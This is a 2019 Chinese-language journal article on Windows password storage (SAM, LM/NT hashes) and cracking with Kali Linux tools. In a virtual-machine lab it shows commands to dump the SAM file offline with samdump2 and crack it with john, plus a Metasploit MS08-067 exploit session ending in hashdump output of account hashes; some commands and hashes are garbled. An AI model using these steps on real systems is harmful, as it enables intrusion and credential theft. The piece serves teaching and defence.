摘要:該文分析Windows下的口令保存機(jī)制,以及常用的破解方法。通過(guò)離線和在線兩種方式來(lái)實(shí)現(xiàn)對(duì)口令的破解,實(shí)現(xiàn)破解主要基于KALI的攻擊工具。
關(guān)鍵詞:口令破解;離線破解;在線破解;kali系統(tǒng)
中圖分類號(hào):TP391 文獻(xiàn)標(biāo)識(shí)碼:A
文章編號(hào):1009-3044(2019)35-0044-02
1 Windows口令安全
隨著計(jì)算機(jī)使用的普及,使用計(jì)算機(jī)的人越來(lái)越多,雖然有很多操作系統(tǒng)可供選擇,但是現(xiàn)在主流的操作系統(tǒng)主要是Windows。大多數(shù)人在使用Windows的時(shí)候,會(huì)設(shè)置登錄Win-dows的密碼,設(shè)置的密碼有的比較簡(jiǎn)單,例如使用密碼123456、888888、123等等,好一點(diǎn)的可能是使用一些自己的生日以及長(zhǎng)度小于8位的字母與數(shù)字組合,同時(shí)用戶往往不會(huì)使用組策略中的安全策略,去設(shè)置對(duì)密碼猜測(cè)破解的防護(hù),更不用說(shuō)還有用戶直接使用空口令進(jìn)行登錄,或者一些內(nèi)置賬號(hào)例如guest被允許使用,這樣的一些使用習(xí)慣往往導(dǎo)致密碼很容易被各種攻擊方法爆破出來(lái)。同時(shí),現(xiàn)在主流的情況下,計(jì)算機(jī)都是接入網(wǎng)絡(luò)使用,而網(wǎng)絡(luò)是不安全的,在網(wǎng)絡(luò)里有很多攻擊者專門(mén)對(duì)未加上安全防護(hù)的計(jì)算機(jī)進(jìn)行攻擊和口令破解,而且攻擊技術(shù)和手段現(xiàn)在越來(lái)越多,這也造成了Windows口令經(jīng)常被人破解,從而導(dǎo)致計(jì)算機(jī)被黑客入侵或者資料泄露,造成很大損失。
2 Windows的口令機(jī)制
Windows使用了安全賬號(hào)管理器機(jī)制,賬號(hào)保存在數(shù)據(jù)庫(kù)文件sam文件中,當(dāng)用戶登錄時(shí)候,用戶輸入的賬號(hào)信息要與sam數(shù)據(jù)庫(kù)中的記錄一致,才被允許登錄。Sam文件保存在系統(tǒng)目錄%sytem%/system32/config下,在開(kāi)機(jī)狀態(tài)下該文件是無(wú)法復(fù)制的,但是如果是關(guān)機(jī)狀態(tài)下,這個(gè)時(shí)候可以采取離線攻擊手段,攻擊者很容易通過(guò)一些攻擊手段,例如使用kail的live方式登錄,通過(guò)kali工具集可以很容易讀取到sam文件,另外即便是開(kāi)機(jī)狀態(tài)也可以使用在線攻擊方式,攻擊者通過(guò)其他的攻擊方式,例如通過(guò)系統(tǒng)漏洞進(jìn)行攻擊,連接并控制了該計(jì)算機(jī),然后可以在線讀取并下載sam數(shù)據(jù)庫(kù)信息。
在WINDOWS下通過(guò)工具提取到的密碼hash有兩個(gè),一個(gè)是LM-Hash,另外一個(gè)是NT-Hash,對(duì)應(yīng)了兩種不同的加密方式。首先談一下LM-Hash以及它的生成原理:密碼首先被轉(zhuǎn)換為大寫(xiě),然后被轉(zhuǎn)換為16位字符串,這16為字符串被分成兩部分,再通過(guò)函數(shù)做一次轉(zhuǎn)換,然后對(duì)轉(zhuǎn)換后的部分再進(jìn)行一次DES加密,將2組加密后的內(nèi)容拼接在一起構(gòu)成LM-Hash值。因?yàn)長(zhǎng)M口令使用了較弱的DES密鑰和算法,比較容易破解,于是微軟保持了向后兼容性的同時(shí)推出了NT-Hash,與LM-Hash相比,NT-Hash對(duì)大小寫(xiě)敏感,由于是向后兼容,通常是兩種方式一起使用。下面再談一下NT-Hash以及它的生成原理:先將密碼轉(zhuǎn)化成ASCII字符串,再轉(zhuǎn)換為十六進(jìn)制字符串,然后轉(zhuǎn)換成Unicode字符串,最后再對(duì)該字符串采用消息摘要算法運(yùn)算,產(chǎn)生一個(gè)16字節(jié)的NT-Hash值。
3 口令破解的基本原理
口令破解主要使用社會(huì)工程學(xué)破解以及暴力破解兩種方式。社會(huì)工程學(xué)方式主要是盡量多地獲取你的個(gè)人信息,例如獲取你的生日、親人生日、電話號(hào)碼等,然后通過(guò)猜測(cè)的方式實(shí)現(xiàn)破解。暴力破解主要是通過(guò)跑字典來(lái)進(jìn)行,屬于窮舉法的一種,因?yàn)樽值洳⒉皇菬o(wú)限量大的,通常需要采用一些方式來(lái)構(gòu)造字典,可以按照一定的排列方式對(duì)字母、數(shù)字、特殊字符進(jìn)行組合。另外還有一種方式采用彩虹表來(lái)構(gòu)造字典,彩虹表實(shí)際上是字典的HASH值表達(dá)方式,并且對(duì)排列方式進(jìn)行了一些優(yōu)化,而且在彩虹表中查找的時(shí)候也采用了優(yōu)化方式。因?yàn)椴捎米值浞绞狡平獾臅r(shí)候?qū)嶋H上需要把口令字符串組合先轉(zhuǎn)換成HASH值,再和系統(tǒng)中的HASH值進(jìn)行比對(duì),如果直接把HASH值保存在字典中,這樣就不需要先進(jìn)行轉(zhuǎn)換,所以計(jì)算機(jī)在運(yùn)算時(shí)候可以少做一次HASH轉(zhuǎn)換,這樣可以大大增加破解速度,同時(shí)查詢字典的方式得到優(yōu)化,所以彩虹表的效率比字典要高??傮w而言,破解的成功率取決于字典的構(gòu)造方式、大小和計(jì)算機(jī)的硬件條件(現(xiàn)在有些破解需要CPU支持)和運(yùn)行速度。
4 口令破解的實(shí)現(xiàn)
4.1離線方式實(shí)現(xiàn)破解Windows系統(tǒng)口令
離線口令攻擊通過(guò)獲取計(jì)算機(jī)上sam文件信息,然后使用相應(yīng)工具對(duì)sam進(jìn)行破解。筆者采用虛擬機(jī)上完成攻擊,離線破解WIN7口令。首先通過(guò)BIOS設(shè)定WIN7虛擬機(jī)的啟動(dòng)方式為CD-ROM Drive,定位Kali的ISO為虛擬光盤(pán),啟動(dòng)時(shí)候選擇kali的live方式,登錄到kaili后,執(zhí)行如下命令:
root@kali:~#mount/dev/sdal/mnt #掛載硬盤(pán)到/mnt
root@kali:~#cd/mnt/Windows/System32/config
root@kali:/mnt/Windows/System32/config#samdump2 SAM-o sam.hash#導(dǎo)出sam到sam.hash
可以看到通過(guò)系統(tǒng)內(nèi)置的字典成功破解了幾個(gè)用戶。通過(guò)john命令還可以顯示Sam.hash文件內(nèi)容,如下圖所示。
上面命令執(zhí)行部分的第四第五個(gè)字段分別為L(zhǎng)M-Hash和NT-Hash。在kali系統(tǒng)下也可以采用ophcrack工具,通過(guò)下載的彩虹表進(jìn)行破解。
4.2在線破解
在線破解方式一般可以通過(guò)系統(tǒng)漏洞,利用一些密碼探測(cè)工具,例如HYDRA等工具直接破解對(duì)方的FTP服務(wù)的口令,進(jìn)而獲得對(duì)方系統(tǒng)的賬號(hào)和口令,另外也可以通過(guò)對(duì)系統(tǒng)中存在的漏洞先進(jìn)行滲透,獲得對(duì)方系統(tǒng)的操作權(quán)限,從而可以下載對(duì)方的sam文件中的信息,直接破解對(duì)方口令。下面以Win-dows XP為例,在XP上存在著MS08-067漏洞(通過(guò)該漏洞可以遠(yuǎn)程控制Windows XP計(jì)算機(jī)),通過(guò)kali系統(tǒng)進(jìn)行攻擊。攻擊命令如下:
msf5>use exploit/windows/smb/ms08_067_netapi#打開(kāi)ms08_067攻擊模塊
msf5 exploit(windows/smb/ms08_067_netapi)>set target 34#設(shè)置目標(biāo)計(jì)算機(jī)類別號(hào)
msf5 exploit(windows/smb/ms08_067_netapi)>set thosts192.168.1.6#設(shè)置遠(yuǎn)程計(jì)算機(jī)IP
msf5 exploit(windows/smb/ms08_067_netapi)>run#實(shí)施攻擊
……
[*]Meterpreter session 1 opened(192.168.1.149:4444→192.168.1.6:1036)at2019-05-28 20:52:31+0800
meterpreter>hashdump#下載口令信息
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfeOd16ae931b73c59d7eOc089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfeOd16ae931b73c59d7eOc089c0:::
HelpAssistant:1000:11f3621c220bb15cb613aa94330f1686:4d48771dcOefba71d12cfOa601b297f3:::
lily:1003:aad3b435b51404eeaad3b435b51404ee:31d6cfeOd16ae931b73c59d7eOc089c0:::
ls:1005:44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:f4886de5a773e4bac2a9a37dad2d013c:::
zs:1004:ccf9155e3e7db453aad3b435b51404ee:3dbde697d71690a769204beb12283678:::
可以看到已經(jīng)獲得口令hash,然后通過(guò)在線網(wǎng)站反查hash值即可以獲得相應(yīng)賬號(hào)的口令。
5 綜述
通過(guò)以上分析和對(duì)口令破解的實(shí)現(xiàn),如果需要Windows系統(tǒng)口令有一定的安全性,這需要設(shè)置強(qiáng)度很高的口令,口令位數(shù)和復(fù)雜性都需要提高,這樣即便是跑字典破解,破解還是有一定難度的。
【通聯(lián)編輯:朱寶貴】
收稿日期:2019-10-15
作者簡(jiǎn)介:嚴(yán)學(xué)軍,講師,碩士,主要研究方向?yàn)榫W(wǎng)絡(luò)安全方向等。